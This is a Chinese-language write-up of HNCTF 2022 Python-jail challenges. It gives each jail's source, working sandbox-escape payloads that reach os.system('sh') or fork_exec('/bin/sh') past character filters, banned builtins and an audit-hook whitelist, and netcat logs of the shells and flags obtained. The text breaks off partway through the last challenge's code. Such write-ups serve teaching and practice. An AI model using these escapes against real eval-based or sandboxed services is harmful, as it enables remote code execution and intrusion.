先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#the function of filter will banned some string ',",i,b
#it seems banned some payload
#Can u escape it?Good luck!

def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

可以看到,这道题目还是过滤了很多重要的字符的,比如,‘等字符,还过滤的字母i和b等等
下面是渐变过程
().class.base.subclasses()

getattr(().class, ‘base‘).subclasses()

getattr(().class, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).subclasses()

getattr(getattr(().class,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), ‘subclasses‘)()

getattr(getattr(().class, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()

().class.base.subclasses()可通过返回的值找到os库,然后就是getattr函数和chr()配合一起绕过字母的限制,输入第四句代码后,会给我返回很多东西,os在倒数第四个
然后就可以构造payload ().class.base.subclasses()[-4].init.globals‘system’

再来一步替换getattr(getattr(getattr(getattr(().class, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4], chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)), chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)
即可getshell

1
2
3
4
5
6
7
接下来还有一个更简洁的方法,但是有局限性,就是得知道文件名和路径

就是用open函数,因为题目没有禁这个函数

可以输入open('flag').read())

替换就是open(chr(102)+chr(108)+chr(97)+chr(103)).read()

[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)

95分
沙盒逃逸JAILMISC
题目描述

you finish beginner challenge level1.Let’s play an challenge of level2

Now that the length is limited, can u escape this jail?

Author:crazyman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#the length is be limited less than 13
#it seems banned some payload
#Can u escape it?Good luck!

WELCOME = '''
_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

这个需要我们的长度要小于13,那么前面的其他的能不能用
应该是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 23778

_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) input_data = __import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{9d765776-e797-482d-af18-17712b683a7d}

[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)

181分
JAIL沙盒逃逸MISC
题目描述

So cool that u finished the week1 challenge

No dangerous password no chr try to hack me!!!

Author:crazyman
先来看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))

这个一看,是过滤的更加多了,一个是我们的这个符号,还有很多的这一个字符都给过滤了
这里过滤了双引号、单引号、反引号、同时还禁掉了chr,import等,但是这里没有过滤字符b,因此可以使用bytes[]来造system,拿前面下小改一下即可

1
2
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)

178分
JAIL沙盒逃逸MISC
题目描述

So cool that u finished the week1 challenge Let’s 4.0.5

No dangerous password no chr try to hack me!!!

Author:crazyman
这里有些奇怪,好像是忘记给源码了
网上找了一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']

my_eval_func_0002321 = eval
my_input_func_2309121 = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | | | || | / _ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| | | || |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| | | ||___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |_| | ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)\___(_)____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))


上一个的payload还是可以用的

[HNCTF 2022 WEEK2]calc_jail_beginner_level5(JAIL)

178分
JAILMISCRCE
题目描述

level5 is so easy challenge

Let’s have nice idea to leak my flag

Author:crazyman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#It's an challenge for jaillevel5 let's read your flag!
import load_flag

flag = load_flag.get_flag()

def main():
WELCOME = '''
_ _ _ _ _ _ _ _____
| | (_) (_) (_) | | | | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("It's so easy challenge!")
print("Seems flag into the dir()")
repl()


def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, my_global_dict)

if __name__ == '__main__':
main()

class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"

class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))

def get_flag():
with open('flag') as f:
return flag_level5(f.read())


这里选择读取字典中的flag即可

1
str().join(my_flag.flag_level5)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 20433

_ _ _ _ _ _ _ _____
| | (_) (_) (_) | | | | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/

It's so easy challenge!
Seems flag into the dir()
> str().join(my_flag.flag_level5)
'flag=NSSCTF{9fb10606-cee9-4b75-a73b-33b1d61d87af}\n'

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)

211分
JAIL沙盒逃逸MISC
题目描述

So cool that u finished the 4.0 challeng

but now u can read file

Author:crazyman
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']

my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))


把bytes给禁掉了,可以通过全部子类中找到bytes的子类索引再进行构造,可以发现bytes在索引为6的位置,os依旧是-4的位置

1
2
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())

看了下学长的文章,还是感觉这个可能要更加好一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 26648

_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())
sh: 0: can't access tty; job control turned off
$ cat flag
cat: flag: No such file or directory
$ ls
flag_y0u_CaNt_FiNd_mE server.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{5d591e85-8b80-4633-9e00-6f882e05fd03}

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.2(JAIL)

219分
JAIL沙盒逃逸MISC
题目描述

So cool that u finished the 4.1 challenge

filter + try again!!!

Author:crazyman
还是没有源码:

1
2
3
4
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!

这题试了一下__doc__拼接的方法,并没有成功,测试了一下好像是+被拿下了,python还提供了一个join()方法用来连接字符串,之前也用过,所以直接拿来改payload:

join()常用的方法就是''.join(['1','2','3','4']) == '1234',这里由于引号被ban了,可以直接使用str().join()来代替。

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

获取了源码发现确实是ban掉了加号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']

my_eval_func_00EFCDB = eval
my_input_func_00FDCAB = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | | || | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ / /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____|
__/ | _/ |
|___/ |__/


'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,\",',+ Good luck!")
input_data = my_input_func_00FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_00EFCDB(input_data)))

事实上,这题也可以用4.1里的bytes那种方法,所以也可以这样:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 27150

_ _ _ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | | || | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ / /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____|
__/ | _/ |
|___/ |__/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mE server.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{540b98b7-82da-4ed1-b2a3-f6047bac9554}

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL)

227分
JAIL沙盒逃逸MISC
题目描述

So cool that u finished the 4.1 challenge

filter +++ try again!!!

Author:crazyman
试试前几关的payload,首先是用bytes改写,成功:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

看看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']

my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)

def main():
WELCOME = '''
_ _ _ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | | || | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____/
__/ | _/ |
|___/ |__/


'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,\",',+ Good luck!")
input_data = my_input_func_000FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))

if __name__ == '__main__':
main()

再来试试join,也成功:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 27459

_ _ _ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | | || | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____/
__/ | _/ |
|___/ |__/


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!
> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
sh: 0: can't access tty; job control turned off
$ ls
flag_7e86c334669ecf2edb5bd7f7fdd0ea8e server.py
$ cat flag_7e86c334669ecf2edb5bd7f7fdd0ea8e
flag=NSSCTF{ae0137bb-df89-4295-9170-dab205127bd0}

[HNCTF 2022 WEEK2]calc_jail_beginner_level5.1(JAIL)

209分
JAILMISC
题目描述

“crazyman has a bad error on level5

now level5.1 come back

work your exploit!!!

Author:crazyman”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#It's an challenge for jaillevel5 let's read your flag!
import load_flag

flag = load_flag.get_flag()

def main():
WELCOME = '''
_ _ _ _ _ _ _ _____
| | (_) (_) (_) | | | | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("It's so easy challenge!")
print("Seems flag into the dir()")
repl()


def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, my_global_dict)

if __name__ == '__main__':
main()

class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"

class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))

def get_flag():
with open('flag') as f:
return flag_level5(f.read())


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
                                                                                
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 29081

_ _ _ _ _ _ _ _____ __
| | (_) (_) (_) | | | | ____/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__ | |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
__/ | _/ |
|___/ |__/

It's so easy challenge!
Seems flag into the dir()
> str().join(my_flag.flag_level5)
'flag=NSSCTF{00bd158e-d5b1-44ba-8a99-9883a6aff78e}\n'

[HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL)

283分
MISCJAIL
题目描述

Good luck of whitelist of audit_hook

Author:crazyman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import sys

def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))

def my_input():
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)


def main():
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/
'''

CODE = '''
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
print("Some code of python jail:")
print(CODE)
my_input()

if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()


这里通过白名单的形式限制了能使用的东西,需要使用_posixsubprocess.fork_exec来进行RCE

1
2
3
4
5
import os

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)


还有一种解好像是通过lamba表达式进行

1
2
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('/bin/sh')")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 26317

_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:

dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)

> exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('/bin/sh')")
/bin/sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{9bab29fa-8793-42e4-a919-7b06d6e1d8a9}

[HNCTF 2022 WEEK2]laKe laKe laKe(JAIL)

291分
JAILMISC
题目描述

you’re an python master which solved l@ke l@ke l@ke

So now it’s time for laKe laKe laKe

Good luck!!!

Author:crazyman

#You finsih these two challenge of leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]


def my_audit_hook(event, _):
